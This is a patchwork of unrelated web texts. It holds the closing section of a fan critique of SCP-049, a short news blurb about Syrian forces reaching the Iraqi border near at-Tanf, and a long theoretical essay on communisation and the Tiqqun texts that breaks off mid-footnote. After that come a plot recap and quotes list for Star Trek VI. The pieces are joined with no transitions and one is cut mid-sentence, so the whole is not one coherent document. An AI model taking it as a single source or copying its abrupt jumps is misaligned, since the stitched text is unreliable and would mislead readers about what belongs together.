Huh. Well, I won't complain about that, I don't think 008 is particularly good either. But you can't tell me it's "a zombie thing" and then turn around and not give the same fan fascination to 008. Come on now.
It's really highly rated, so that must mean it's good.
Trust me, that doesn't mean anything.
Some of the best authors on the site have upvoted 049.
No I haven't.
But TheVolgun did a great impression of him.
TheVolgun does plenty of great impressions, but that doesn't make 049 good.
He's great in Containment Breach!
That doesn't make the article good. And still, really?
I don't know what you want me to say.
You've actually already said it, which is why we're heading to-
Part Six: A Conclusion
SCP-049 is a relic of a time when the wiki just didn't care as much about quality pieces of writing. It is generally poorly written, with little-to-no narrative interest and a character that reads like a bad knockoff of better articles on wikis created by users who were angry that they were banned for being too young. It has gained all of its popularity because of a very young userbase who is fixated on creepy humanoid spookies that they can easily "cosplay" (like I said, a generous definition of what's going on there) and show up in their favorite scary video games so Markiplier can shout about them and everyone can get a good kick out of the whole thing.
For a more discerning audience, and indeed one that cares about whether something is "good" or not, SCP-049 is sort of a festering wound on the first block of 100. There are worse articles than 049 certainly, but none of them are as proud of it as 049 is. None of them flaunt their inadequacies as openly as 049 does. None of them are so eagerly upvoted for their shittitude.
In a series full of great articles like 093, 914, 231, 096, 085 and 140, SCP-049 is an aberration. Something that struck the fanboy jackpot and is now riding its self-perpetuating cycle of success towards +1000 and above. It is bad, and people who defend it as being good are either not talking about the writing or don't know what they're talking about. Everyone is allowed to like what they like and vote on what they want to vote on, but this becomes a problem when 049 is the example that gets paraded around young authors who attempt to mimic it and are disappointed when their attempts end in failure. For this reason, SCP-049 is bad for this community.
However...
SCP-049 as a concept isn't inherently bad. There have been plenty of attempts by better authors to improve upon it in tales and other formats by making minor changes to the original. But what about a broader stroke? Is there a way to salvage 049 while keeping all of the things people like? Is there a way to turn this heap into something worth keeping around?
Find out in the next edition of djkaktus (De)Construction!Donate
UPD: The Hezbollah media wing and the Russian Defense Ministry confirmed the reports.
The Syrian Arab Army and its allies have reached the Iraqi border northeast of the village of at-Tanf controlled by special oeprations forces of the US-led coalition member states and Western-backed militant groups, according to Elijah J. Magnier, a chief international correspondent of the al-Rai media outlet.
According to Elijah J. Magnier, pro-government forces reached the border in the area just few km from at-Tanf. The Popular Mobilization Units (described by the mainstream media as pro-Iranian proxies) control the same area from the Iraqi side.
If reports are confirmed and government forces are going to set up positions in the area, the US-led coalition and its proxies will likely use a force to drive the Syrian government forces back from the border with Iraq.
DonateIn the wake of the organised left and the demise of working class self-identity, communisation offers a paradoxical means of superseding capitalism in the here and now whilst abandoning orthodox theories of revolution. John Cunningham reports from the picket line of the ‘human strike'
As we apprehend it, the process of instituting communism can only take the form of a collection of acts of communisation, of making common such-and-such space, such-and-such-machine, such-and-such-knowledge.
- The Invisible Committee, Call, 20041
The critique of capital, and speculation around the form and content of communism, always seems to oscillate between a historical materialist science on the one hand and the elaboration of new forms of subjectivity and affectivity on the other. Even Marx, while infinitely more familiar as a close analyst of capital, had early moments of Fourier-style abandon when he attempted to elaborate the more mutable subjective content of a communist society. The dissolution of wage labour would make
it possible for me to do one thing today and another tomorrow, to hunt in the morning, fish in the afternoon, rear cattle in the evening, criticise after dinner [...].2
This suggests a society wherein circuits of affectivity are established that are no longer based upon the exigencies of value production - even if I personally prefer communist utopia as idleness to Marx's endless activity. Of course, this is one of the rare instances where Marx speaks in the future tense, leaving aside the messiness of the transition from capitalism. Recently, a series of texts from the milieu around the French journal Tiqqun - primarily Call, How is to be Done?, The Coming Insurrection - have reintroduced this question of the subjective content of communism in a way that might restore a speculative aspect to the critique of capital.3 These are not theoretical texts per se, more inspirational ‘How To' manuals for the elaboration of communisation as subjective and conceptual secession from both capital and the left. As Call states, ‘Nothing can happen that does not begin with a secession from everything that makes this desert grow.'4 This discursive distance from the more traditional ultra-left positions on communisation is also reflected in dense, poetic prose that establishes an affinity with possible precursors in revolt such as Dada, Surrealism and Bataille. The development of the thesis of communisation within the ultra-left was always part of an attempt to shift away from the traditional programmatic forms of the party and the union towards an engagement with forms of resistance rising immanently from the social relation of capital, such as wildcat strikes. What might be at stake in a restating of the question of communisation as radical subjectivist secession against the often discredited ideological formulas of anti-capitalist milieus?
It's best to consider this question alongside the series of texts presented by Endnotes that ably document the continued elaboration of communisation within the French ultra-left by presenting a series of texts by Gilles Dauvé and Theorie Communiste.5 Both are rooted in the diverse groupuscles of the French far left in the 1970s that shared a fidelity to 1968 of whom Debord and the Situationists remain the most renowned.6 Dauvé and Theorie Communiste retain a commitment to communisation but diverge sharply around questions of agency and history. What remains under-theorised in both Dauvé's humanist Marxism and Theorie Communiste's more recently formulated Marxist structuralism is any real problematisation of the production of subjectivity within capital. An insertion of this question might illuminate the impasse faced by these more hermetic theoretical critiques of capital. In sketching out the contours of contemporary theories of communisation, a constellation composed of questions around subjectivity, negation, history and utopia emerges. Does a reconsideration of communisation open up new perspectives and different possibilities, given the gap between the cramped space revolutionary milieus find themselves in and any genuine expectations of radical change? Or is even discussing communisation at this time akin to scraping a toothache with a fingernail, pointless utopianism in the face of the constantly mutating social relation of capital?
Before answering this question, though, what is communisation? The term immediately evokes various social experiments and revolutionary endeavours from the Paris Commune and utopian socialist communities in the 19th century through to various counter-cultural attempts to reconstitute social relations on a more communitarian basis such as the squatting scene in the 1970s and '80s. The Tiqqun strand - henceforth to be known as The Invisible Committee after the eponymous signatories of The Coming Insurrection - draws upon this long history of secessionist antagonism. They posit communisation as essentially being the production, through the formation of ‘communes', of collective forms of radical subjectivity. This destabilises the production of subjectivity and value within both capital and more traditional forms of political organisation, eventually leading to an insurrectionary break. ‘Commune' in this instance is not necessarily a bunch of hippies aspiring to a carbon free life style. In The Coming Insurrection a commune is almost anything that ‘seeks to break all economic dependency and all political subjugation', ranging from wildcat strikes to Radio Alice in Bologna in 1977, and innumerable other forms of collective experimentation.7
While not completely missing the point, there is a danger of this understanding obscuring the specificity of ‘communisation' as a concept and form of praxis that, as Endnotes trace out, emerged within the post-'68 ultra-left milieu and then later within insurrectionist anarchism through Alfredo Bonnano. A minimal definition of communisation would be, as Dauvé and Francois Martin wrote in 1972 in an early formulation, the following:
Communism is not a set of measures to be put into practice after the seizure of power [...]. All past movements were able to bring society to a standstill and waited for something to come out of this universal stoppage. Communisation, on the contrary, will circulate goods without money [...] it will tend to break all separations.8
This simultaneous destruction of value production alongside the thoroughgoing transformation of social relations as an immanent revolutionary process presupposes the negation of wage labour. The proletariat rather than being embodied in work and its valorisation, whether through wage labour or workers' organisations, becomes the agency of self-abolition. Communisation would mean no more proletariat immediately, not after some interminable period of proletarian state or workers' council management.
For Dauvé, here writing with Karl Nesic, communisation is the potential result of the dialectical opposition between living labour and the inhuman agency of capital. As he states:
‘Subject' and ‘object' don't exist separate from one another. A crisis is not something exterior to us that happens and forces us to react. Historical situations (and opportunities) are also made of [...] our actions or inactions.9
Dauvé rejects theoretical determinism in favour of a more realistically indeterminate historical trajectory, where the only invariants within capital are humanity, alienation, exploitation and resistance. For Dauvé, communisation has been a possibility since 1848, as against the strict periodisation of Theorie Communiste.
Theorie Communiste's position is that due to the shift in production to a second phase of real subsumption, post 1960s, capital and labour power are imbricated in a reproductive circuit.10 Communisation as the self-abolition of the proletariat is only now a possible horizon due to the dissolution of the organised, programmatic parties and unions of the traditional left. Their unveiling in the 20th century, as the necessary managers of the production of value has subsequently led to the inability of the proletariat to constitute an opposition to capital through their self-identification as workers. Stripped bare of any sense of voluntarist agency and subjectivity, what is left is the fact of structural exploitation and increasing proletarianisation that possibly leads to communisation. This dialectical synthesis without any reconciliation was impossible in previous phases of capital where revolution was inexorably tied to labour and the production of value.
Bracketing off the question of political agency and subjectivity in favour of historical structuralism, waving goodbye to the multitude and other spectral forms, is a welcome dose of anti-humanism. However, Theorie Communiste seem too eager to remove any subjective agency from oppositional politics. There's a pessimism underlying their evacuation of any possibility in history that is an inversion of the classic 20th century social democratic Marxist paradigm of an inexorable movement towards communism. Too much value is fixed on the movement of history towards real subsumption of capital rather than evaluating history as composed of discontinuous breaks, fractures and events. One such might be the Paris Commune.
In its brief existence, the Commune prefigures many of the themes in contemporary discourse around communisation as both an immanent process of attempting to construct a non-state public sphere and an insurrectionist outburst that broke with the slow advance of 19th century commodity capitalism. Marx grasped that the ‘whole sham of State mysteries and State pretensions was done (away) by a Commune, mostly consisting of simple working people' and that the aim of the commune was the ‘expropriation of the expropriators', the dissolution of class and property.11 While the commune was primarily political it indicated for Marx the intertwined nature of revolutionary change, abolishing the separation between the economic and political and at certain conjunctures being wedded to insurrectionist force. For Marx the ‘great social measure of the Commune was its own working existence', but he believed it gestured towards social emancipation in the limited measures, (such as the appropriation of disused workshops), it was able to undertake in its brief existence.12 He wrote that ‘... the present rising in Paris - even if it be crushed by the wolves, swine and vile curs of the old society - is the most glorious deed of our Party....'13
Benjamin's ‘dialectical image', the juxtaposition of past and present in order to break the frozen reified image of both, provides a way of asking what resources an event such as the Paris Commune might offer the present.14 This does not pose the existence of an invariant human subject as much as (re)examines the past in light of the present and restores an actuality and potentiality to history. For instance, Badiou has read the Paris Commune as ‘what, for the first and to this day only time, broke with the parliamentary destiny of popular and workers' political movements' establishing a template for ‘a declaration to break with the left.'15 Badiou sees this as a model for both a subjective intervention against capital and a communism subtracted from the state. The Invisible Committee constantly refers to the Paris Commune in a similar fashion making suggestive juxtapositions throughout The Coming Insurrection. The Paris Commune is present in the text as a constant reminder of the barbarism that the French republic is founded upon, the ‘tradition of the oppressed' that's all too easily effaced by the empty continuum of history as the onward march of capital.16
A theory and practice formed in the still tempestuous wake of May '68 wildcat strikes - the refusal of work, the proliferation of left groupuscles - and conditioned by this event, communisation posits an escalation of the destruction of commodity production as a millennial break. Concepts such as this, formed at a particular conjunction of forces and material conditions, can easily decline into ideology or, at best, a regulative idea that has little to do with actual social struggle in the present once that moment has passed. All of these different theories of communisation emerge from a sense of a cramped discursive and political space. Post 1968, this cramped space might be viewed as the all too obvious limitations of the traditional workers' movement, specifically the Communist Party and its affiliated trade unions, in abetting the state suppression of the events alongside, of course, commodified social relations. In terms of the continued elaboration of communisation in the present, such a cramped space, given the weakness of the institutional left, might be composed of the post-Seattle ‘anti-capitalist' movement itself, or at least its remnants. This movement has given rise to what The Invisible Committee describes, in How is it to be Done?, as the ‘desire killing demonstrations' that ‘no longer demonstrate anything but a collective absence.'17
Image: Housing built under a motorway in Argenteuil, north western suburb of Paris
This ‘collective absence' is not so much a lack of organisation for The Invisible Committee as a plenitude of organisational forms that serve to divert antagonism into reformist or activist dead ends, constructing milieus that are concerned with their own self-perpetuation as fetishised organisational structures. At best, these attempt symmetrical conflict with capital rather than more asymmetrical tactics of withdrawal, diffusion and sabotage. For me, this ‘collective absence' in contemporary forms of activism and militancy is all too apparent in those constrained ideologies, such as the identity politics that dominate much of contemporary ‘radical' politics. Hence, contemporary anti-capitalism is riddled with a ridiculous anarchist, ecological and socialist moralism that masks itself as a politics. This critique of militancy is prefigured in Dauvé and Martin's early 1970s observation that the ‘communist movement is anti-political, not a-political.' Dauvé and Martin grasp communism as inherently social and immanent to capital while rejecting the traditional role of the militant who ‘interferes in these struggles to bring the communist gospel'.18 It's this anti-political strand, the negation of contemporary political forms or what Jacques Camatte termed ‘rackets' that I find most constructive, in a destructive way, within theories of communisation.19 Nick Thoburn, in his book Deleuze, Marx and Politics, argues that cramped political and discursive spaces, composed of both traditional organisational forms and capital as a social relation, are productive of innovative attempts to reassemble lines of flight from available resources. These clear a space and allow the articulation of previously ignored demands and the formation of oppositional subjectivities.20 Or more succinctly, all the strands of communisation are attempting to dissolve the worker as worker into a more diffuse antagonistic subject.
The Invisible Committee's complex assemblage of ultra-leftism and situationist theory has operative within it just such an attempt to produce new forms of political subjectivity, Agamben and Foucault playing a theoretically pivotal role. To inspire secessionist communisation seems an odd fate for Agamben, a philosopher who is most famed for the melancholic framing of contemporary subjectivity within the parameters of ‘bare life', the passive residue of the human subject under biopolitical sovereignty.21 The reduction of humanity, through political sovereignty, to classes, identities and subjects such as citizen, worker or migrant is essentially based upon the exception that is ‘bare life'. Opposing this, Agamben's concept of ‘form-of-life' or ‘whatever singularity' is utilised by The Invisible Committee to suggest a political subjectivity that isn't contained within the parameters of ‘bare life' and an identifiable subject.22 As they note, ‘I become a whatever singularity. My presence starts overflowing the whole apparatus of qualities that are usually associated with me.'23 Sounds esoteric, but it's worth emphasising the explicit relation to labour power that ‘whatever singularity' retains in its element of the refusal of the role of worker. Agamben writes that ‘form-of-life' is
a life [...] in which the single ways, acts and processes of living are never simply facts but always and above all possibilities of life, always and above all power.24
And in this case it's the power, or Potenza, to refuse wage labour and hence challenge the extraction of value from living labour. This ‘irrevocable exodus from any sovereignty' is an emancipation from producing value towards the potentialities of an inseparability between activity and subject.25
Image: View of Tarnac?
This inoperative collective political subject takes the form of the ‘Human Strike' within The Invisible Committee's radical subjectivism. In How is it to be Done? ‘Human Strike' is the point where the human subject as constituted within capital breaks down and refuses or simply ceases to function, a ‘Luddism of the human machinery that feeds capital'.26 This is a Bartleby style refusal that responds to the (re)production of subjectivity within contemporary capitalism throughout the entire social field by valorising negativity and dysfunction. The Coming Insurrection highlights an advertising slogan, ‘I AM WHAT I AM', and sarcastically but accurately notes, ‘Never has domination found such an innocent sounding slogan.'27 An individualism that is the subsumption of affective qualities within the circuits of capital. The individual is nothing but the residual effects of an incorporation of identities promulgated through the apparatuses of production, consumption and leisure. The real subsumption of the human by capital presented in The Coming Insurrection begins to resemble a bad day commuting to work. This production of subjectivity is what Foucault termed ‘governmentality', wherein power is not only repressive and disciplininary but also creates the conditions for the production of value, encouraging forms of subjectification that channel creativity and affective identification towards the valorisation of capital.28
As Theorie Communiste point out, what produces a blockage within the Marxist humanism of Dauvé is a view of subjectivity within capital as something produced purely through the repression of an invariant humanity. Granted, this Marxist humanism still has a radical import around unleashing the potentiality of the human outside of the wage relation but there's little problematisation of the forms of subjectivity. However, in attempting to embrace a rigorous anti-humanism, Theorie Communiste fall prey to simply evacuating any notion of subjective agency as being a soppy romanticism in favour of economic determination. This reinforces the hermetic nature of such critique as relatively divorced from the experiences of everyday life.
None of this is a particularly new problematic, given the proliferation of theories of radical subjectivity since at least György Lukács, but The Invisible Committee restate this critique in a way that restores a sensual apprehension of what might be at stake in any form of oppositional politics. The image of a proliferation of communes as ‘a power of production' that is ‘just incidentally relationships of production' establishes what is best termed desiring production.29 It arises through assemblages of communised spaces, knowledge, means, bodies and desires that establish a refrain between them, displacing the secessionist collective from capital and those identities such as ‘worker' or ‘migrant' that are fixed within it. This could produce a blockage within the flows of value production as information and commodity in what The Invisible Committee, again taking their lead from Agamben, theorise as the ‘metropolis'; the undifferentiated, sprawling non-place of contemporary biopolitical capital.30 This process of blockage is expressed in The Coming Insurrection thus:
The technical infrastructure of the metropolis is vulnerable [...]. Nowadays sabotaging the social machine with any real effect involves reappropriating and reinventing the ways of interrupting its networks.31
Does this simultaneous production of subjectivity and disruption of value production posit ‘whatever being' as a new form of political agency? As the model of an actualised Fourierist utopia, or even as an allegory of the production of oppositional politics this seems fine, but communes form an insurrectionist phantom organisation, a piloting machine that is more or less organically formed through the act of secession, constituting an avant garde of the disaffected and voluntarily displaced. A residual aristocratism emerges alongside a phantom vanguardism that is revealed in the formulation, ‘Making the paralyzed citizens understand that if they do not join the war they are part of it anyway.'32 These communes that, for The Invisible Committee, are immanent in the present but not formalised encompass any number of spaces and collectivities, from proletarian to counter-cultural and illegal. Squats, wildcat strikes, riots, rural collectives, any bunch of the disaffected or excluded (re)appropriating the neighbourhood. At its best this carries within it an involuntary viral diffusion of communal and subjective disaffiliation from capital as a social relation. At its worst they all end up sharing within the insurrectionist thematic voluntary renunciation and conscious refusal. For me this loses something of the negativity of the more primordial ‘human strike' hinted at, that refuses as much as an involuntary reaction to unbearable social relations, as through a conscious act of will. There's an import to ‘human strike' that restores an actuality to the ways that depression for instance might function as both a sign of vulnerability and site of resistance. As The Coming Insurrection notes, ‘depression is not a state but a passage, a bowing out, a side-step towards a political disaffiliation.'33 Rather than the insurrection, it's this awareness that most productively marks The Invisible Committee off from more conventional radical milieus. What Camatte termed the real subsumption and domestication of the human by the community of capital here turns to speculative forms of resistance.34
Image: I am what I am
The Coming Insurrection has had the dubious distinction of having reached the exalted heights of Fox News with a text extolling communisation, due to the controversy following the Tarnac 9 case in France. As an ironic confirmation of The Invisible Committee's attachment to Debord's notion of the spectacle, it is also proof that the hysteria of projected insurrectionism is more than met by the hysteria of the spectacle. This commitment to insurrectionism by The Invisible Committee underlines the value of the more sober assessments by Dauvé and Theorie Communiste. In a well balanced engagement with Call, Dauvé writes that there is lack of ‘an analysis of the present social movement, the fights, the retreats and the resistances to the world of waged labour, the strikes, their appearance, their frequent failure, their absence sometimes [...].'35 This criticism of secession is well founded and it is this very material awareness of the instauration of capital as a social relation that is lacking in the more voluntarist exhortations towards insurrection. There is a correlation here with the post-Autonomist theory of exodus formulated by Paolo Virno as a strategy of refusal and subjective break with capital. This can give rise to a pre-emptive theoretical negation of any role as worker, suspending the fact that for most people a shit job is a necessity and the only exodus is the weekend.36
Nevertheless, the re-inscription of a political agency as negation is refreshing when compared to the inclusivity of concepts such as Negri's ‘multitude'. It's in keeping with a line of active nihilism that permeates the theoretical production of The Invisible Committee. As opposed to Negri, where such an affective turn by capital is replete with immanent possibility, the production of subjectivity within contemporary capital is presented as part of the destruction of experience, what Call terms ‘the desert'. Almost nothing is exempted from this line of negation that runs from the micro-politics of an ‘existential liberalism' that produces the individual through to all forms of politics, including anti-capitalism. The ‘desert' is a form of passive nihilism endlessly replicating exchange-value, the obscure disaster of what both Benjamin and, in his footsteps, Agamben have conceptualised as the evacuation of experience by the shock and vacuity of the commodity.37
The response of The Invisible Committee is to accelerate this nihilism through a series of inversions such as the valorisation of gangs and illegalism - a heightening of the anti-sociality of contemporary capital. As such they are part of a current within French anarchism that runs from the Bonnot gang through to the Situationists and Os Cangaceiros. The latter, a group of post-'68 proletarian illegalists rejected leftist politics and its armed struggle variants in favour of tactics such as sabotaging railways in solidarity with prison revolts. Or, as they stated succinctly ‘of shitting on this world with its prisons.'38 There's always a risk with such illegalism that it reifies something like gang culture in a simple inversion of spectacular hysteria, but at least The Coming Insurrection's evocation of the November 2005 revolt in the banlieues restores a sense of agency to what were routinely decried as criminal acts within mainstream politics. In the fairly early Tiqqun text ‘Theses on the Imaginary Party', this illegalism extends to random acts of violence produced by the subjective forms of spectacular commodity capitalism and its evacuation through shootings, suicides, etc..39 This aspect is most certainly an avant-garde provocation similar to Breton's simple surrealist act of firing into the crowd, though it is not necessarily lightly meant; indeed, it generalises the sense of crisis that The Invisible Committee wishes to instill. In an oblique comment, Agamben references this active nihilism as ‘the irreparable that allows the coming of the redemption', a messianic opening into forms of political agency that refuses the exigencies of political sovereignty.40 Such an active nihilism posits a joyful destruction as necessary in order to break with contemporary society's immersion in the commodity form. The Coming Insurrection notes that ‘[a]nnihilating this nothingness is hardly a sad task [...]' and that ‘fucking it all up will serve [...] as the last collective seduction.'41 In embracing this they connect via some punk rhetoric to the destructive impulses of both the political and artistic 20th century avant gardes.
Image: Max Beckmann, Die Hölle (Hell): Die Strasse (The Street), 1919
What relation might this active nihilism have to the more general economic violence of communisation as the suspension and destruction of production? Communisation in whatever form always seems caught in a tension between an immanent supersession of capital, the gradual proliferation of struggles that breach the limits of party, self management and workplace organisation, and the radical break, the institution of what Benjamin termed ‘the real state of exception' in opposition to the state of exception imposed by the sovereignty of the state.43 This two-fold rhythm of communisation is paralleled by the tension that's evident, in any attempt to theorise and practise it in the present, between a subjective activity and a more objective analysis of capital. Marx's concept of Gewalt might be a good way to grasp the imbrication of different forms of force and power within communisation. Luca Basso reads Gewalt, a complex term meaning both violence and power, as being present in Marx's formulation of the originary violence of capital as primitive accumulation, a violence that is repeated politically by the state as the imposition of wage labour. He quotes Étienne Balibar as characterising it as ‘violence of economics, the economics of violence', violence being immanent to capital as exploitation.44
Attempts to formulate communisation contest this by positing an oppositional Gewalt that would break with capital politically and economically. Given the day to day Gewalt of contemporary capital it is not surprising that there are attempts to formulate projects of secession which, however doomed to failure, seem necessary as breathing spaces. Overstated as insurrectionary projects, such secession is a little optimistic as to its chances of even escaping capital, never mind overcoming it. Simultaneously, the theoretical analysis of Theorie Communiste and Dauvé/Nesic seems lacking in the necessary juncture of events to make anything other than potential interventions. Pessimism in the face of contemporary capital's ability to adapt would probably be the best approach, but pessimism tempered with an awareness of the subjective and theoretical possibilities offered by the various theories of communisation. Benjamin wrote that ‘The destructive character sees nothing permanent. But for this very reason he sees ways everywhere.'45 Maybe in this complex allegorical figure something like the use value of theories such as communisation resides.
Footnotes
1 Anonymous, Call, 2004, UK, no imprint, p.66. PDF available here: http://zinelibrary.info/call
2 Karl Marx and Frederick Engels, The German Ideology, London: Lawrence and Wishart, 1996, p.54.
3 Tiqqun was a French journal published between 1999 and 2001. The term is the French transliteration of a Hebrew/Kabbalistic word for redemption, an obvious reference towards the Benjamin and Agamben influenced model of messianic politics to which this strand of communisation subscribes. There were two issues and associated books such as Theorie du Bloom, Theorie de la Jeune Fille and later texts such as The Coming Insurrection. More Tiqqun and related material is available at the following: http://www.tiqqun.info/ ; http://www.bloom0101.org/tiqqun.html ; http://www.bloom0101.org/translations.html. A good article on the Tarnac 9 case and the controversy around The Coming Insurrection is Alberto Toscano's ‘The War Against Pre-Terrorism' available at http://slash.interactivist.net/node/11805
4 Call, op. cit., p.33.
5 Endnotes, Brighton, UK, 2008. For texts and ordering details see the following: http://endnotes.org.uk/. The introduction is a great account of the genealogy of communisation in the French ultra-left though it doesn't engage with Tiqqun.
6 For further details on the |
exhaust; Uhura suggests using the equipment they have on-board to catalog gaseous anomalies as a guidance system. Spock asks McCoy to help him "perform surgery" on a photon torpedo to enable it to do so. "Fascinating!", the physician says. Enterprise continues to suffer heavy damage, but before she can be crippled, Sulu arrives with Excelsior, taking some of the pressure off of Enterprise as Chang has to divide his attacks between opponents. However, Chang has merely been slowed down: with his ability to fire while cloaked, Chang is still running circles around both ships.
At Khitomer, the Klingon who left has found a vantage point on an upper level and is cutting a small hole in one of the glass panes to aim a weapon at the President.
Chang relentlessly fires Shakespeare quotations such as:
"I am constant as the northern star…"
and continues firing torpedoes, weakening Enterprise's shields to the point that it takes a direct hit on the ventral-port side of the saucer section that ruptures the hull. Spock and McCoy complete their modifications to the photon torpedo, and with a great deal of satisfaction, Kirk gives the order to fire. It homes in on the cloaked Bird-of-Prey and lands a direct hit, but not before Chang gives his last Shakespeare quote:
"To be or not to be."
Enterprise and Excelsior then target the location of the explosion, unleashing a barrage of torpedoes that destroy Chang's now decloaked (and shield-less) ship.
The Enterprise crew beam down just in time for Kirk to knock the president out of the way of the would-be assassin's phaser rifle blast. He identifies himself to the dazed president. Cartwright orders them arrested and Spock retorts "Arrest yourself!" displaying a handcuffed Valeris. McCoy says that they have a full confession just as the Klingon assassin is about to shoot Valeris. At that moment, Scott kicks in the door to the assassin's hiding place, and shoots him just before he can kill Valeris. He falls through the glass pane to the floor. The Commander In Chief and Colonel Worf rush to the body and find out that it's not a Klingon; it's Colonel West. Cartwright takes advantage of the ruckus and tries to flee but is thwarted when Sulu, armed and accompanied by two security guards, transports from Excelsior and holds him there.
A confused and angry Azetbur demands to know what is going on. Kirk tells her this is all about the future and that history has not ended quite yet. Thinking of Gorkon's reference to the future as "the undiscovered country", Kirk notes that people can be very frightened of change. Azetbur tells Kirk he's restored her father's faith and Kirk tells her she's restored his son's. At that moment, the room breaks out into applause as the remaining Enterprise officers (including Sulu) walk up and join Kirk on the platform.
Epilogue Edit
Later, in space, Kirk and crew reenter the bridge and exchange pleasantries with Captain Sulu. "Nice to see you in action one more time, Captain Kirk. Take care," Sulu says as Excelsior moves away from the Enterprise. "By God, that's a big ship," McCoy says. "Not so big as her captain, I think," Scott adds.
"I think it's about time we got underway ourselves," Kirk mentions. Uhura then tells Kirk that they've received direct orders from Starfleet Command to return to Spacedock and be decommissioned. The crew look around at each other, emotional that their time together as a crew is now coming to an end.
Spock contemplates that for a moment and then remarks, "If I were Human, I believe my response would be 'Go to Hell.' If I were Human." When Chekov asks for a course heading, Kirk tells him "Second star to the right, and straight on 'til morning."
Uhura steps over near Scott and everyone watches as Enterprise heads off toward the stars.
"Captain's log, stardate 9529.1. This is the final cruise of the starship Enterprise under my command. This ship and her history will shortly become the care of another crew. To them and their posterity will we commit our future. They will continue the voyages we have begun and journey to all the undiscovered countries, boldly going where no man – where no one – has gone before."
Log entries Edit
Sulu: " Stardate 9521.6, Captain's log, USS Excelsior, Hikaru Sulu commanding. After three years, I have concluded my first assignment as master of this vessel, cataloging gaseous planetary anomalies in Beta Quadrant. We're heading home under full impulse power. I'm pleased to report that ship and crew have functioned well. "
" Kirk: " Captain's log, stardate 9522.6. I've never trusted Klingons, and I never will. I can never forgive them for the death of my boy. It seems to me our mission to escort the Chancellor of the Klingon High Council to a peace summit is problematic at best. Spock says this could be an historic occasion and I'd like to believe him. But how on Earth can history get past people like me? "
" Kirk: " The Enterprise hosted Chancellor Gorkon and party to dinner last night. Our manners weren't exactly Emily Post. Oh, note to the galley, Romulan ale no longer to be served at diplomatic functions. "
Enterprise " Kirk:"Captain's log, stardate 9529.1. This is the final cruise of the starship Enterprise under my command. This ship and her history will shortly become the care of another crew. To them and their posterity will we commit our future. They will continue the voyages we have begun and journey to all the undiscovered countries, boldly going where no man – where no one – has gone before."
Memorable quotes Edit
Shakespeare Edit
Hamlet Edit
"I thought I would assume a pleasing shape." (Act II, Scene II)
- Martia, to Kirk
"The undiscovered country." (Act III, Scene I)
- Gorkon, toasting
"To be, or not to be." (Act III, Scene I)
- Chang's last words
Julius Caesar Edit
"Cry havoc! And let slip the dogs of war!" (Act III, Scene I)
- Chang
"I am constant as the northern star." (Act III, Scene I)
- Chang
King Henry IV, Part II Edit
"Have we not heard the chimes at midnight?" (Act III, Scene II)
- Chang, to Kirk
King Henry V Edit
"Once more unto the breach, dear friends." (Act III, Scene I)
- Chang
"The game's afoot." (Act III, Scene I)
- Chang
The Merchant of Venice Edit
"Tickle us, do we not laugh? Prick us, do we not bleed? Wrong us, shall we not revenge?" (Act III, Scene I)
- Chang, paraphrasing
Richard II Edit
"Let us sit upon the ground and tell sad stories of the death of kings." (Act III, Scene II)
- Chang, at Kirk's trial
Romeo and Juliet Edit
"Parting is such sweet sorrow." (Act II, Scene II)
- Chang, to Kirk
The Tempest Edit
"Our revels now are ended." (Act IV, Scene I)
- Chang
General quotes Edit
"Do we report this, sir?"
"Are you kidding?"
- Rand and Sulu, after Praxis explodes
"I must protest. To offer Klingons safe haven within Federation space is suicide. Klingons would become the alien trash of the galaxy."
- Cartwright, on the proposed peace treaty with the Klingons
"I don't know whether to congratulate you or not, Jim."
"I wouldn't."
- Cartwright and McCoy, to Kirk on his diplomatic mission with Gorkon
"There is an old Vulcan proverb. Only Nixon could go to China."
- Spock, to Kirk
"Don't believe them! Don't trust them!"
"They're dying."
"Let them die!"
- Kirk and Spock, on the Klingons
"You must be very proud."
"I don't believe so, sir."
"She's a Vulcan all right."
- Kirk, Valeris and McCoy
"I've never trusted Klingons and I never will. I can never forgive them for the death of my boy."
- Kirk, recording his personal log
"History is replete with turning points, Lieutenant."
- Spock, to Valeris
"Logic is the beginning of wisdom, Valeris, not the end."
- Spock
"Guess who's coming to dinner?"
- Chekov, after the Klingons accept Kirk's invitation
"I offer a toast. The undiscovered country … The future."
- Gorkon
"In space, all warriors are cold warriors."
- Chang, to Kirk
"Human rights. Why the very name is racist. The Federation is no more than a homo sapiens only club."
- Azetbur, at dinner
"We need breathing room."
"Earth, Hitler, 1938."
"I beg your pardon."
- Chang and Kirk
"If there is to be a brave new world, our generation is going to have the hardest time living in it."
- Gorkon, to Kirk
"Did you see the way they ate?!"
"Terrible table manners!"
"I doubt that our own behavior will distinguish us in the annals of diplomacy."
- Uhura, Chekov and Spock
"Note to the galley. Romulan ale no longer to be served at diplomatic functions."
- Kirk, personal log
"Valeris, do you know anything about a radiation surge?"
"Sir?"
"Chekov?"
"Only the size of my head."
"I know what you mean."
- Kirk, Valeris and Chekov, as Kirk and Chekov suffer a terrible hangover
"We come in peace and you BLATANTLY defile that peace! And for that, I shall blow you out of the stars!"
"We haven't fired!"
"Captain, according to our databanks we have. Twice."
- Chang, to Kirk, Kirk's response and Spock's shocking revelation
"Don't let it end this way, Captain."
- Gorkon's last words to Kirk
"This president is not above the law."
- Federation President, to the Klingon Ambassador
"Then, quite frankly, Mister President, we can clean their chronometers."
- Colonel West, on attacking the Klingons
"Sir… Those men have literally saved this planet."
"Yes, Bill, I know that. And now they're going to save it again. By standing trial."
- Commander-in-Chief and Federation President, on Kirk and McCoy
"I'll bet that Klingon bitch killed her father!"
- Scott, suspecting Azetbur killed Gorkon
"Doctor McCoy, would you be so good as to tell me your current medical status?"
"Aside from a touch of arthritis, I'd say pretty good!"
- Chang and McCoy, during the trial
"James Tiberius Kirk… What would your favorite author say, Captain? Let us sit upon the ground and tell sad stories of the death of kings. Tell us your sad story Kirk, Tell us how you planned to take revenge for the death of your son."
"That's not true."
"Objection! Captain Kirk has not been identified as the assassin!"
"Sustained."
- Chang, Kirk, Colonel Worf, and Klingon Judge
"Do you deny being demoted by these charges?! Don't wait for the translation!! Answer me now!!"
"I cannot deny it."
"You were demoted?"
"Yes."
"For insubordination?"
"On occasion, I have disobeyed orders."
- Chang and Kirk
"An ancestor of mine maintained that if you eliminate the impossible, whatever remains, however improbable, must be the truth."
- Spock quotes Sherlock Holmes
"This is the gulag Rura Penthe. There is no stockade. No guard tower. No electronic frontier. Only a magnetic shield prevents beaming. Punishment means exile from prison to the surface. On the surface, nothing can survive. Work well, and you will be treated well. Work badly, and you will die."
